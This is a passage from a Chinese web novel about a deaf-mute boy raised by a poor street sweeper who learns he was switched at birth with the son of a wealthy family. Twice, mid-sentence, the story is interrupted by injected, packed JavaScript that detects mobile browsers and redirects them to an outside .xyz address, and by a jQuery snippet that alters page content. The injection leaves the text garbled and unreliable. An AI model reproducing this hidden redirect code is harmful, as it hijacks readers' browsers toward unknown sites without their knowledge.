他谁都不敢惹,只敢冲着路珍妹发火,装作底气很足,脚已经往上抬,要往路珍妹胸口踢去。 然而路觉铭却走过去拉开路珍妹,然后一脚踢中他小腹。 简知也忙把路珍妹护在身后。 段方明被这一脚踢得几乎晕死过去,连呼痛的声音都发不出来。 那保安处主任也发火了,作势要让保安去把路觉铭隔开:“喂,你打人干嘛?你打人啊!” 路觉铭猛然扭过头,双眼中燃烧着凶狠十足的火光。 这双狼一样的眼睛,直接把保安处主任都吓得一愣。 保安处主任毕竟也只是在学校这种象牙塔里工作的成年人,鲜少遇到过路觉铭这样说不上来危险的人物。 他不知道,面前这个看起来还是学生模样的少年,已在红尘中打过多少滚。 路觉铭握住拳头,眼神很快冷静。 他低下头,打字,播放:“段方明是贼。赃物在他办公室工具间。” 主任缓过神:“是、是吗,那我们现在就过去看!老段,你给我起来!” 他揪住段方明。 段方明早已手脚俱软,冷汗涔涔。 * 保安处、校警、义愤填膺的学生们一起进了段方明的办公室。 果然在工具间里找到了学生们失窃的物品。 这下人证物证俱全,段方明再也跑不掉了。 路珍妹也迈着小步,跟着众人一起去看了热闹。 直到段方明被按住看管,她才琢磨过来似的,看向路觉铭。 她说话口齿清楚,且有条理,一句废话都不多讲,精神得不像个七十多岁的老太太。 “阿铭,你早上来找我,就是因为这件事?” 路觉铭微不可察地朝她点点头。 路珍妹现在明白得一清二楚了。 段方明不止手脚不干净,还想栽赃她。 要不是她今天一直在外面整理垃圾,都不知道会被他们冤枉成什么样。 这份工无论如何是不可能再干。 老太太把脸一横,干脆道:“我现在就去跟大老板辞职,这活决计不能做了。” 她做事向来风风火火,说完便已掏出手机给老板打电话。 物业老板那边刚接完学校打来的电话,正为段方明行窃之事焦头烂额,哪里还有余力再去和路珍妹这样的小员工计较,随口应下,让她过几天去公司总部拿个离职证明就行。 她又要去保洁休息的楼道隔层里,把这些天攒的一些废品拿回家。 没想到路珍妹在这工作的时间虽短,废品却捡了不少。 大部分是从学校垃圾桶边上捡的,后来有学生看路珍妹在收拾废弃瓶子和纸张,还会主动过来把空瓶给她。 三大蛇皮袋瓶子,一大捆废弃纸板,全都放在隔层角落。 那蛇皮袋格外巨大,路珍妹背了一个,她又矮小,看上去像是背了座小山。 路觉铭很自然地就拎起最重的那捆纸板,驮在身上。 这捆纸板里有不少是学生们买的宿舍大家电的纸箱,被路珍妹仔细压扁叠在一起,又大又沉,几十斤重,路觉铭把纸板往肩上抬时,简知看见了他双臂上显露出的肌肉线条。 原来这个时候的路觉铭虽然还没有后来那样高壮英武、胸背肌肉饱满,但力气和体格也丝毫不差。 路觉铭微微弓着背,用肩背承托那捆纸板,纸板长度越过他的头顶,让他要往上抬一抬眼睛,才能看见站在面前的简知。 简知看着已经在收拾东西的祖孙两人,表情有些无措。 其实路珍妹的事情解决后,他就该走了。 可不知道为什么,他就是迈不动步子。 大概是亲眼见到了路珍妹,让他对路觉铭之前那十七年人生,有了点切实感。 以前只是模模糊糊地一个概念,知道路觉铭在外面吃了许多苦头。 所以他总是对路觉铭,抱有负罪感。 现在这个念头却淡下去。 他开始明白,这十七年,路觉铭同样有一个真实而具体的人生。 而此刻他对这个陌生的、他所不知道的路觉铭的人生,充满着好奇。 他迫切地想知道,路觉铭到底是怎样长大的。 他想跟着他们去看看。 简知躲开了路觉铭看他的视线,帮路珍妹拎起旁边另一个蛇皮袋:“我帮你们拿……” “哎呦!你在做什么!”路珍妹比路觉铭还先一步喊住他,急道,“快放下来!你是阿铭的朋友吧,怎么能让你帮我们拿东西!” 路珍妹急得扯着嗓子,像是在凶他。 简知还没来得及解释,手里的蛇皮袋已经被路觉铭凶巴巴地一把夺过。 路觉铭一手伸在脑后,勾住那捆纸板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993605|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一手抓着蛇皮袋的捆绳,表情看上去很不好,那双眼睛冷冷往简知身上扫过,把简知吓得心里咯噔一声。 ……他哪儿又惹了路觉铭? 简知不知道自己面色有些发白,眼神惊慌地从路觉铭和路珍妹身上滑过,像小狗被吓到的可怜模样。 路觉铭愣了下,随即低下头。 他很快解开蛇皮袋,从里面拿出一个空饮料瓶,按在衣摆上仔细擦了好几遍,确保瓶子干干净净,然后不声不响地递给简知。 简知不明所以,看着那个塑料瓶,又不敢抬头与路觉铭做眼神接触。 还是路珍妹看出了路觉铭的意思,她笑道:“这样也行,小朋友,阿铭让你帮我们拿这个瓶子。” 简知的脸一下红起来。 他意识到自己被祖孙二人像照顾小孩一样对待,有点想要反驳,想告诉他们自己其实很有力气,十七岁的他比任何人都要健康,他还没有生病呢—— 可看到路珍妹眼角因为笑意而聚起的层层皱纹,他又什么话都说不出口了。 只能接过路觉铭递来的那个空瓶,两个人交接时手指相触,简知飞快缩回手。 路觉铭把自行车还回原处后,便回来骑三轮车带简知和路珍妹回去。 他在前面骑,简知和路珍妹两个人坐在后面的车斗里,废品塞得鼓鼓囊囊,只留下一小块空间,刚好够简知和路珍妹蜷腿而坐。 路珍妹把自己的裤子拍了好几下,很习惯地说:“小朋友,你小心点,我身上脏,别弄脏你的衣服。” 简知用力摇头,说:“哪里脏了,我衣服也不干净,奶奶你看。” 他把自己白裤子上那点刚才不知道在哪里蹭到的灰痕给路珍妹看,又满不在乎地掸了下,微微一笑,露出点虎牙。 三轮车略微颠簸,但简知却觉得很新奇。 他白白净净地坐在三轮车里,挤在一堆鼓囊囊的蛇皮袋中间,引得路过的学生都好奇地打量他们。 简知正帮路珍妹用手扶住那几个蛇皮袋,半点不觉得不自在,反而觉得坐三轮车很好玩,四处张望,看着矮一截的望出去的风景。 路觉铭在简知没发现的时候,不动声色回头看了一眼。 他原本还在担心简知挤在废品堆里会不舒服,考虑着要不要先把简知送回家,没想到却看到了简知亮晶晶的双眼。 简知远比他想象得更开朗随和,天真善良。 这个还是少年模样的简知比星星、比月亮都更可爱。 叫路觉铭不自觉更用力地踩下踏板,捏紧车把,用力压抑着不受控的心脏跳动。 这颗心脏曾经在他胸膛中饱受折磨,时刻哀嚎,而现在连它也变得年轻强壮,每一下泵血的力度,都惊人劲猛。 要从泥里泵出一朵血做的花,殷红鲜亮地别在胸口。 人世种种怅惘,至此都被抛在身后了。 路觉铭转回去,低头奋力猛骑。 简知坐在后面,过了一会儿,三轮车骑出洛溪大学后,也开始偷偷观察路觉铭。 他看得着迷。 尤其是看着前面的路觉铭撑开双肩,大腿发力,有节奏地踩着踏板,带动浑身肌肉起伏辗转,脖颈处黝黑的皮肤在太阳底下微微发亮。 少年人的躯体像一株生机勃勃的笋,多年埋于土下,只等有朝一日得见天光破土而出,到那个时刻,谁也拦不住他的飞长。 金鳞岂是池中物,一遇风云便化龙。 简知暗暗心惊肉跳。 十七岁,这一年,属于路觉铭的风云际会,他真正该归属的那个光辉闪耀的人生,正在不远处,静静等待着他的到来。 他要尽早,把属于路觉铭的人生还给他。 5. 路觉铭 路觉铭的人生从垃圾桶里展开。 他一出生,就被父母遗弃,路珍妹在垃圾堆里翻到他的时候,他双手双脚已冻得青紫,连哭声也没了。 路珍妹以为他救不活,本想报警,刚碰到他的身体,却发现他的胸口还在微微起伏。这个婴儿还活着。 就这样,马路清洁工路珍妹五十六岁,收养了四十五天大的路觉铭。 路珍妹给了他一个名字,一个能够遮风挡雨的家。 他们挤在那年还没被彻底改建的洛溪市棚户区一间矮小破旧的平房里,房间只有十几平方大小,塞满了路珍妹捡来的废纸板、旧空瓶和其他杂物,四面墙壁被生活熏得漆黑。 他天生聋哑,直到四岁还不会说话,路珍妹带他去儿童医院检查,才知道他有残疾。 又因为生活拮据,穿得都是路珍妹从垃圾桶里翻出来的衣服,他时常只能穿着不合脚的鞋子、宽大过头的外套,为此被棚户区的小孩耻笑欺凌。 小孩总有一种天真的残忍。 那群小孩嘲笑路觉铭穿的是女款的鞋子,有人故意趁路觉铭蹲在屋檐下整理纸板的时候把他推倒,然后一把从他脚上拽下那只鞋。 “看!他鞋子上还有蝴蝶结!哈哈哈,他穿女生的鞋子!” 为首的胖男孩举着那只鞋,像举着获胜的奖牌,挺着小将军肚,气势昂扬地将路觉铭的鞋子展示给所有人看。 一群小孩起哄大笑起来,指着路觉铭笑个不停,那胖男孩一手举着鞋,一手往前跑,诚心要让所有人都看到路觉铭破旧的二手鞋。 可他们谁都没想到,被推倒的路觉铭却没哭没叫,从地上爬起来,死死地盯着小胖子。 他追上了小胖子,他要从小胖子手里抢过那只奶奶给他找来的鞋。 小胖子虽然和他同岁,但身体远比路觉铭单薄的身子结实强壮,他一挥拳,就把路觉铭甩飞在地上,然后其他小孩也一拥而上,踢打着路觉铭小小的身体。 一开始是打,后来是朝他泼水、扔石头、扔死鸟,拽着他的腿,在巷子里拖,又或者用旧电线,捆着路觉铭的脖子,直到将他勒得满面充血、直翻白眼。 棚户区的小孩,比其它地方的小孩更残忍,这里的每个小孩都在野蛮生长,孩子们像杂草一样长在路边,大人做的只是浇浇水,偶尔才看一眼。 路觉铭没有把这些事情告诉路珍妹,自己一个人忍下。 他记着仇,记着每一个人的脸,每一次被打,他都在手心攥着一块石头,在夜里,在白天,他握着那块石头,像打磨一把杀人的刀。 直到他六岁,渐渐的,那些小孩已经加起来都打不过他。 他一个人,就靠着那块石头,打赢了棚户区所有的小孩。他把别的孩子打得头破血流,那些孩子还不敢告诉家里人,生怕遭到路觉铭的又一次报复。 所有小孩都避着他走,他们知道他们欺负人是取乐,只有路觉铭是不要命。 若他们是被随意放养的土狗,那路觉铭,就是那条永远不合群的,独自流浪的野狗。 野狗生来命贱,在这人间挣扎求活,却有一把命运如何都碾不碎的硬骨头。 在路觉铭生命早年寂静的时光里,活着和吃饱,是唯二他需要竭尽全力的事情。 路觉铭在特殊关爱学校上完了小学,成绩从未掉下第一。 他聪明到让老师瞠目结舌,最后甚至试着替他报名,和那些正常学校的孩子一起参加奥数竞赛,他依然拿了第一。 老师们都知道他是个读书的好苗子,所以竭力想让他去就读普通初中。 可普通初中是正常授课,就意味着,他必须得有一副能让他听得到声音的助听器。 进口助听器,八万。国产助听器,五万。 无论哪一个,都不是他能负担得起的选择。 继续读特殊关爱中学? 国家补贴只截止到小学,再读初中,他们就要自费了,价格同样不菲。 路觉铭决定不去上学了。 整整十二年,那是路珍妹头一次打他。 她捡了一根棍子,抽打他的背和小腿,哭道:“你怎么能不想去读书?!你怎么能不想去读书?要读书才能有出息,你也想要和我一样扫大街吗?” 路觉铭沉默地应对着这顿打,不躲不闪。 十二岁的他身高已和矮小的路珍妹平齐,他黑漆漆的双眼看着奶奶的泪水,一个手势都不为自己辩驳。 祖孙二人第一次有了分歧。 路珍妹执意要送他去普通初中,为此干脆豁出脸面,一个工友一个工友地去问,上门去向别人借钱,佝偻着背,花白着头发,走起路一颠一颠,是她惯用的小步,往日是坚定好强,如今看上去畏缩胆怯,就好像那股精气神,一下从她身体里溜走了。 男工友大多直接拒绝,只有几个自己也过得艰难的女工友,零零散散拿出几十、几百,加上路珍妹这些年的积蓄,总共拼凑出四千八百多元,她要去给路觉铭买助听器。 路觉铭不想要。 他已和这无声的世界相处惯了,世界对他来说是一部巨大的默片,而他身处其中,看着每个人张张合合的双唇,他已默默读懂这世界的潜台词。 这个世界在告诉他,命运苦得人舌头发硬,能叫人喊也喊不出痛,麻木地看人生一点点捱过。 他跪了路珍妹整整两天两夜,路珍妹对他又打又骂,他都不肯起身。 十二岁的孩子,怎么能有这么硬的脊背? 他跪到嘴唇干裂发紫,但眼睛仍然黝黑深邃,沉如黑海,里头的一点光,亮得锋利刺人。 最后路珍妹和他相互妥协。 路珍妹给他买了一个二手助听器,而他则如愿中止学业,要去社会上闯荡赚钱。 * 他十二岁,就早早地进了社会。 临走前,他朝路珍妹端端正正地磕了三个响头,路珍妹一边哭,一边颠着小步,颤颤巍巍地追着他一路骂,一直骂到车水马龙的天桥路口。 车流经过,隔开了他和路珍妹。 路觉铭远远地眺望着黑矮瘦小的路珍妹,脸上是惯常的面无表情,唯有一双手,慢慢在身侧攥紧。 他发誓要在社会上闯出些什么,可真正的生活,又哪有那么简单,能任凭一个十二岁的半大少年任意闯荡? 洛溪到底是经开特区,各项律法完备,没有店铺和工厂敢要他一个未成年人,更何况他还是个不说话的哑巴。 没办法,他只能从拾荒开始做起,先喂饱自己。 他从小跟着路珍妹,耳濡目染,对拣什么垃圾能赚到钱最清楚不过,一天手脚勤快,也能弄到十几块到几十块不等。 他往往在吃的上面花五块,剩下的全存起来,打算以后还给路珍妹。 他胆子大,心细,人也聪明,总能比别人捡到更多好东西,也总知道往哪里的垃圾桶翻效率最高。 不过要躲避巡逻驱逐的城管,有时候蛇皮袋还会被别的拾荒者盯上。 这座繁华富裕、欣欣向荣的洛溪于他,就是一片巨大的钢铁荒野。 而他身处这莽原中,赤手双拳,挣扎求生。 路觉铭第三次翻那片高档小区的围墙的时候,终于被物业保安抓住了。 保安起初以为他是贼,几个人高马大的中年男人呼和着要把他抓起来,路觉铭便和他们扭打,几个保安眼看着都打不过这个半大小孩,竟然还对他掏出防.暴棍。 路觉铭膝弯处被抽了一记,下意识前扑,接着就被几个保安恶狠狠按在地上,连那大小本就不合适的助听器也掉了出来。 他的蛇皮袋被保安抢走,没有人肯看他的解释,几个保安又往他头上抽了几棍,这才开始打110 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他体力耗尽,又流血流得厉害,还不知道自己已轻微脑震荡,只以为是今天没吃东西的缘故,连站起身的力气都没有。 直到一辆崭新亮黑的小轿车从他面前开过,又慢慢在不远处调了个头,开回来,停在他身侧。 路觉铭疲惫地抬起眼帘,看了一眼,目光只扫到轿车车头那个金灿灿的立体双翼女神车标。 一辆劳斯莱斯。 后车门打开,一双白色小球鞋从车中走下。 这双球鞋毫不在乎地踩进灌木丛前的积水,踢踢踏踏,直直朝路觉铭走来。 路觉铭身体莫名地一缩,紧接着,一片阴影便覆盖在他头顶。 他虚弱地抬起头,看到自己头顶撑起了一把伞。 后来路觉铭用尽所有的词语,都无法描述他初见那为他撑伞的小少年第一眼时,心中的颤动。 他只记得自己抬头时,像看到了天上最闪烁的那颗星星,如同钻石般,掉在了他眼前。 是天国的钟声敲响,他的救赎,终于来到他的生命中。 十二岁的简知,穿着手臂上有四条白杠的浅灰色羊绒针织开衫,尖领白衬衣,一头浅色短发软软垂在耳边,漂亮得就像童话故事里走出来的小天使。 他有一双大得让人心惊肉跳的眼睛。 像两颗浸在水里的黑宝石,任谁看一眼,都不会舍得再对他说一句重话。 这个小天使一样的男孩却皱着眉头,俯身害怕又担心地观察着他的伤势,声音柔和好听:“你……你有没有事?” 他的语气中有些害怕,路觉铭猜想他幸福无暇的人生中,或许从来没有见过他这样肮脏落魄的人。 路觉铭疲惫地闭上眼睛。 他后来学会一个词,叫做自惭形秽。再合适不过。 路觉铭活了十二年,从未在任何人面前感到过自卑,可直到今天,他见到这个连衣服都散发着好闻香味的男孩,他自惭形秽。 他意识到了自己身上有多脏,多日未曾换洗、在垃圾堆里打交道的衣服臭不可闻,而他额头上的伤口,又是那样狰狞可怖,他猜想自己看起来像只怪兽。 别再看我了。 他内心有个近乎祈求的声音。 离我远点。别再看我。快走吧。回到你自己的世界里去。 快走啊。 可是。 一只柔软微凉的小手却碰上他的额头,紧接着是冰冰凉凉的让人舒适的大面积触感。是湿巾。 他听到那个声音小心翼翼,又分外紧张地说:“我、我帮你擦擦,好吗?你是不是很疼?” 那一瞬间,路觉铭的心脏热烈泵血。 连灵魂也震落。 7. 路觉铭 谁都没想到,会所事件竟让路觉铭因祸得福。 那天,杨铖虎陪同吃饭的那位大人物,居然会在过了段时日后,向路觉铭递来橄榄枝。 ……那可是魏潇。 和杨铖虎这种明面上的“大哥”不同,魏潇是实打实的、真正掌控着洛溪市地下社会话语权的人。 他在洛溪市发家,产业却遍布全国,做的都是利润最高、也最需要人脉和手腕的灰产生意,四处打通的关节不计其数,光是这份实力,在整个华南,已罕有人能比肩。 这可把杨铖虎气到半死。 可既然魏潇已发话,他又怎么敢再做些小动作,一边气到牙痒痒,一边派人将路觉铭送去了魏潇那边。 面对魏潇这种身份的人物,路觉铭仍不卑不亢,只笔直地站在他面前,微微低着头,神情平静,眼神毫无波动。 魏潇靠在他自家别墅阳台的躺椅上,一身黑色唐装,袖口墨绿色镶边,一手轻抚着怀里那只幼犬的背部。 他四十出头,面容也很普通,看上去气质随和,淡淡笑着说:“你的面相是大富大贵之人,日后自会有福气,这几年就先跟着我学做点事,到发达时也别忘了我这个师父,给我敬杯茶就行。 “以后,我就叫你阿铭吧,你这个名字,应该是不会再改了。” 路觉铭那时没听懂魏潇的深意。 直到再后来,他见到了简氏夫妇,他才想起这一年魏潇对他所说的话,代表着什么。 原来魏潇见到他的第一眼,就已经看出他的相貌源自于何处。 魏潇有着一种猎人般的直觉,一双鹰的眼睛。正是这种天生的直觉让他走到如今的位置。 很多人都看不明白的东西,他往往能一眼得知那个最不可能的真相。 路觉铭在魏潇手底下的这年,他重新开始上学。 因为他完全没上过初中,又不能通过中考去读高中,魏潇便让他插班去读了初三,课堂上老师是在给别的同学复习初一初二的知识点,对路觉铭来说,却是在学完完全全的新知识。 可他学得很快,他天生就聪慧得惊人,聪明加上勤奋,学什么学不好? 他这一年忙得不可开交。一边要替魏潇办事,到处跑、到处学,一边又要回初中上学,却依然能把所有事都办的井井有条。魏潇因此很是赏识他。 路珍妹得知他重新回到校园,也高兴得不得了,连走路时都腰板笔挺,又让路觉铭一定要好好报答他这个新老板,千万要听老板的话。 路觉铭自然是点头保证。 这两年祖孙二人的关系和缓,路觉铭一有空就回去看路珍妹,给她做饭打扫,路珍妹因此时常笑容满面,人也精神很多。 可这似乎就是命运给路觉铭最后的一点怜悯了。 路珍妹出事时,路觉铭没收到一点消息。 等他赶到医院,见到的只有路珍妹冷冰冰的尸体。 好凉啊。他不知道奶奶的手为什么会这么凉,他明明记得这双手一直干燥温暖,就是这双粗糙的、到处都是发白皮屑的手牵着儿时的他回家的,就是这双手,靠着扫地、拖地、收集废旧纸板塑料瓶养大了他,就是这双手,才让他从那个垃圾桶里活了下来。 这双手怎么会突然变得这么冰凉,这么湿淋淋呢。 路觉铭一个人在太平间外面坐了很久。 他本以为自己的人生稍微开始好过一点点,命运却又突然而来地给了他一记重击。 命运似乎总爱让他挣扎在人世间的痛苦里,看他在那边奋力攀爬,又将他踢下悬崖。 那段时间,路觉铭过得浑浑噩噩,如行尸走肉般,完全丧失了对外界的感知。 连路珍妹含冤而死的事情上了本地热搜,他都一无所知。 舆论群情激愤,连电视台的节目都在讨论谁能给路珍妹一个公道,大学生天天在微博上发帖要求洛溪大学为这件事负责,而洛溪公安,也早就将真正的嫌疑人捉拿归案。 路觉铭的存在也被媒体曝光。很多人知道路珍妹这十几年来一直收养着一个和自己没有任何血脉关系的聋哑孤儿后,也更加动容。 这个新闻甚至惊动了本市许多的大人物,连岱宗集团的那对企业家夫妇,也主动联系上了路觉铭,提出想要资助路觉铭读书。 路觉铭本来谁都不想见,也不愿接受任何人的捐助,可是魏潇却执意要让路觉铭和这对夫妇见上一面。 路觉铭还记得路珍妹的嘱托,只能接受魏潇的安排。 他去了岱宗集团那栋耸立于市中心最繁华昂贵地段的摩天大厦,一身洗的发白的旧运动服,一双鞋面发黄开裂的山寨耐克板鞋,经过大堂时,引得许多人驻足好奇。 那些眼神打量在路觉铭身上,带着掩藏得很好的轻蔑和傲慢。 他在五十二楼总裁办会议室见到了这栋大楼的所有者夫妇,简川和沈晓清。 沈晓清一看到他,就马上从座位上站了起来,小步跑到他面前,满脸都是不可置信,喃喃着:“怎么会这么像……怎么可能……” 她连手都在发抖,转过头看看简川,又看看路觉铭。 路觉铭不明白她在说什么。 沈晓清一把抓住了他的手腕,一双清丽的杏仁眼几乎已沁满泪水。 她的嘴巴张了又张,眼眶发红,泪珠自面庞滑落,整个人似乎都要站不稳,还是简川走过来,扶了她一把,才不至于让她跌倒。 ——在路觉铭抵达会议室前,魏潇已通过中间人,向他们暗示过这个消息。 可他们都没怎么相信,直到亲眼见到路觉铭,见到路觉铭这张和简川年轻时眉眼几乎一模一样的脸,沈晓清才开始相信,魏潇说的是真的。 简川亦神情激动,几乎失态。这位文质彬彬的洛溪巨富不停地打量着路觉铭,紧紧抱住沈晓清的肩膀,又颤颤巍巍地,碰了碰路觉铭的手。 路觉铭看着他们,仍然没有察觉到自己有着一张和他们二人都极为相似的面庞。 他从小就对自己的面貌不甚在意,小时候别人都嘲笑他又黑又丑,他也便以为自己长得难看,于是便不喜欢照镜子,后来的生活四处流浪,也更缺少机会正视自己面容,他连自己长什么样都不太熟悉,又怎么会发现他人和自己的相似。 还是简川试探性地问他,愿不愿意和他们做个亲子鉴定,路觉铭才发觉蹊跷之处。 他知道以简川的身份,不必向他这种小人物做出如此讨好的神情,可是为什么? 他仍然没有猜出答案。哪怕是对方提出的“亲子鉴定”这件事,他都觉得荒谬。 因为这于他根本就是不可能的事情。 他早已接受自己的身世。生来被抛弃,被路珍妹从垃圾桶里找到,被当做残疾人歧视长大,天生贱命一条……怎么可能! 命运接踵而来的玩笑,让他觉得自己是置于命运摆布之下的小丑,他完全不愿意去接受这个事实。 那张写着具有 99.1%可能性的直系血缘关系的证明,也极有可能是谁的恶作剧。 或许……是魏潇安排的吗? 路觉铭楞楞地想着。 是不是魏潇想要利用他,把他安插进岱宗集团呢?比起他是简氏夫妇的亲生儿子这件事来说,甚至是前者的可能性更大一些。 所以他坚决地要求再做了三次鉴定。 可每一次的结果都确信无疑。 他和简氏夫妇具有接近 100%的直系血缘关系。他们是他的亲生父母。 路觉铭躺在路珍妹破旧的小屋里,看着满地的鉴定证书,人生完全被打乱方向。 这段时间里,简氏夫妇已经偷偷来上门看望过他好几次。每一次都被他拒之门外。他们在路珍妹的小屋门口徘徊,每次过来,沈晓清都要低声啜泣许久。 路觉铭不知道该怎么反应。 就算在他最大胆最贪心的幻想里,他也没敢奢想过自己是简氏夫妇的孩子。 他最好最好的幻想,也就是以后有一天能见到自己的生父生母,质问他们为什么不带他一起回北方。他猜想他的父母极有可能是来洛溪打工的“北佬”,因为洛溪这边的南方人普遍矮小,只有北佬才有那么高的个头,而他们现在早已在北方某地归田耕作,不会再踏足洛溪一步。 路觉铭始终相信这只是一个玩笑,或是魏潇的一个计谋。 即使沈晓清找到他,激动地告诉他她找到了十几年前为她接生的医院护士,弄清了当年的真相,路觉铭也无法相信这一切的真实性。 原来那一年,简氏夫妇的产业刚刚做大,沈晓清挺着即将分娩的肚子,仍然日日坚守在工厂一线管理工人,就这样在工厂里破了羊水。 而恰好厂里还有一个怀孕的女工,她是未婚先孕,本来就不想要自己的孩子,看到沈晓清被送去最近的小医院,谁也不知道她从哪里弄到了催产药物,把自己也送进了和沈晓清同一间医院。 两个孩子一前一后诞生,两位孕妇被送进不同的病房。 沈晓清生产后,只来得及看了一眼自己的孩子就因为疲惫和虚弱而沉沉睡去,等她再醒来时,自己的孩子已经被那女工悄悄掉包。 而那时简川还在外地勘察新厂房选址,次日才坐整夜的绿皮火车赶回洛溪,见到的早已是被掉包的孩子。 那女工只在医院里休息了三天就下落不明,连带着医药费也没有结清。其实医院里的护士在发现女工不见的时候就察觉到了端倪——因为女工的孩子是早产儿,和简氏夫妇所生的那个健康茁壮的孩子有所区别,但这是她的工作失职,她不敢说出口,只能悄悄把这个秘密瞒下。 简氏夫妇从一开始捧在手心里的那个孩子,就已经是那个女工的早产儿了。 他们从没想过自己真正的孩子,会被扔在路边的垃圾箱里,冻到双耳失聪,从小聋哑着长大,吃尽人世间种种苦头。 而被他们当做掌心宝一样呵护着长大的简知——只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈晓清一身格格不入的浅绿色香奈儿高级手工坊套装,也学他的样子,往那花坛边一坐,然后道:“妈妈知道你……你其实心里一直在怪我们,没早点来找你,害你吃这么多苦,对吗?你在怨我们,跟我们发脾气。” 路觉铭摇摇头,眼神平静,又摆摆手,意思让她别弄脏自己衣服。 沈晓清只以为他在赶她走,面露伤心神色,又说:“可是爸爸妈妈真的没想过……如果你恨爸爸妈妈,你是不是这辈子都不想和爸爸妈妈一起生活了?” 路觉铭不知该如何作答。 沈晓清想了想,又想摸他的头,被路觉铭轻巧避开,她低落地扭过视线。 “其实你恨我们,我们也能理解,毕竟我们真的很自私……还得让你接受弟弟的存在。可是你弟弟他、他也是无辜的……而且他很善良、很可爱,是个很好很好的孩子。” 她从提包里,找出了一张被细心塑封的照片。 照片上是过十四岁生日时的简知,身处简家后院的广阔草坪上,头戴精致小皇冠,鼻尖还有一抹蹭上去的奶油,正灿烂大笑着,躲开李震云朝他扔过去的一个爱马仕真皮篮球——那是某个不熟的同学送来的礼物,被简知和朋友们拆开后随手扔来扔去,互相砸人。他们一致觉得这价值一万三千美金的礼物敷衍,因为简知根本就不爱玩篮球,后来果然就扔在泳池里,谁也没再留意过。 沈晓清看着简知的笑容,心都要碎了。 她一边想着,路觉铭什么时候能拥有这样的生日?他从小到大谁给他过过生日?又想着,简知以后还会有这样的生日吗?以后谁来给简知过生日呢? 这两个截然不同的念头几乎将她的心撕碎,她看着照片就忍不住落泪,声音都发抖:“你弟弟……你本来该拥有他拥有的一切……爸爸妈妈想补偿你,让你过上和他一样的生活,又有什么错呢……你为什么就不肯原谅我们……” 路觉铭没出声,他觉得沈晓清说这些都没什么意义,刚想起身,却无意中撇到沈晓清手中的那张相片。 他愣住了,眼神直直地看着照片上简知的笑脸,以为自己出现幻觉。 沈晓清努力将脸上泪水擦干,又伸手去擦相片上的泪珠,却被路觉铭提前一步,擦掉了那颗掉在简知身上的眼泪。 沈晓清愕然地抬头看他,却发现了路觉铭一向平静无波的眼睛里,头一次有了亮光。 路觉铭抓着那张照片,怎么都不肯还给沈晓清。 弟弟。 路觉铭想着。 原来他是我弟弟。 他以为一辈子都够不上的人,那颗他认为珍贵无比的钻石。 原来是他“弟弟”。 原来这就是替他接受了命运的亲吻,享受过全世界爱意的“弟弟”。 路觉铭心里毫无妒忌和憎恨。 他只是想。 他原本以为这辈子都没有资格触碰的钻石,也终有一天,会掉到他眼前吗? 8. 路觉铭 路觉铭与简氏夫妇达成了一致约定,在简知和他成年之前,他们暂时先不会将事情的真相告诉简知。 作为补偿,简氏夫妇会在路觉铭十八岁成年时,将自己名下的三分之一财产转移给路觉铭,并在之后每年转交他 1%的公司股份,确保他将在之后,掌握岱宗集团的最大股权。 其实他们恨不得将自己的所有财产都交给路觉铭。因为此前十七年的爱意,他们都给了简知,现在便只能用这样的方式去弥补路觉铭之前缺失的一切。 可路觉铭完全无所谓。 那些巨额的财富在陆觉铭看来如此荒谬绝伦。 他想,他十几岁时为了几块钱拼命的时候,能想到几年后自己只需要签个字,就能拥有几百亿,上千亿吗? 当财富的额度巨大到只能用数字呈现时,他之前所渴望的一切,温饱,住所,过上更好的生活,似乎都一下子显得毫无意义了。 他搬进简家,行装轻简,唯一珍藏的,是路珍妹旧屋的钥匙。 他拿到沈晓清给他账户上打的钱之后,做的第一件事,就是买下那套房子。 原来才十几万。十几万的价格,在洛溪市区的楼盘里只能买一间厕所,可路珍妹到死都只能租住在那间破屋里。 路觉铭在简知面前的身份,仍然是路珍妹的养孙。 其实最早,是简知在微博上看到了这条热搜新闻,他心肠软得不行,一个人在房间里默默哭了好久,才让沈晓清和简川夫妇去想办法帮帮那个孤儿。 似乎缘起缘落,总有一根无形的针,穿针引线,将一切人事串联。 简氏夫妇骗简知说,路觉铭现在无家可归,让他暂时和他们住在一起,问简知愿不愿意。 简知不疑有他,知道自己能帮助路觉铭后开心得不行,提前几天已在做准备——整理自己的卧室、玩具间、游戏室,检查影音房、网球场、各种运动器具,还让佣人给泳池彻底换了遍水。他总是很乐意与每个人分享自己拥有的一切,巴不得路觉铭能天天和自己一起玩。 路觉铭搬来的那天,简知眼巴巴地靠在大宅四楼阳台边,张望了好久。 等远远地看到爸爸妈妈那辆劳斯莱斯开到大宅附近时,他立刻欢呼雀跃,踩着柔软的澳毛手工半拖,踢踢踏踏地跑下主楼梯,跑到二楼挑高层的栏杆边上时,正巧看到爸爸妈妈和路觉铭走进大厅。 他高高兴兴地喊了声“妈妈”,就在栏杆边上笑着朝他们挥手。 路觉铭自下而上,抬头望去。 一眼就看到简知的灿烂笑容,只觉在水晶吊灯映衬下,简知连眉眼都在璀璨发光。好看得惊人。是这样天真漂亮、醇美如静湖般的美少年。 难怪沈晓清与简川割舍不下简知。 没有人能对简知狠得下心。世界上最铁石心肠的人,看一眼他的笑容,都会心软成一摊水。 简氏夫妇看到简知和路觉铭见面,仍有些顾虑,不知怎么开口,他们正尴尬时,简知已经跑到他们面前,拉起路觉铭的手,眼神扑闪扑闪:“我见过你!” 路觉铭顿时身体一僵,他怕简知还记得他们初见时他狼狈的模样,紧张到连手臂肌肉都绷起,目光无措地盯着简知的面庞。 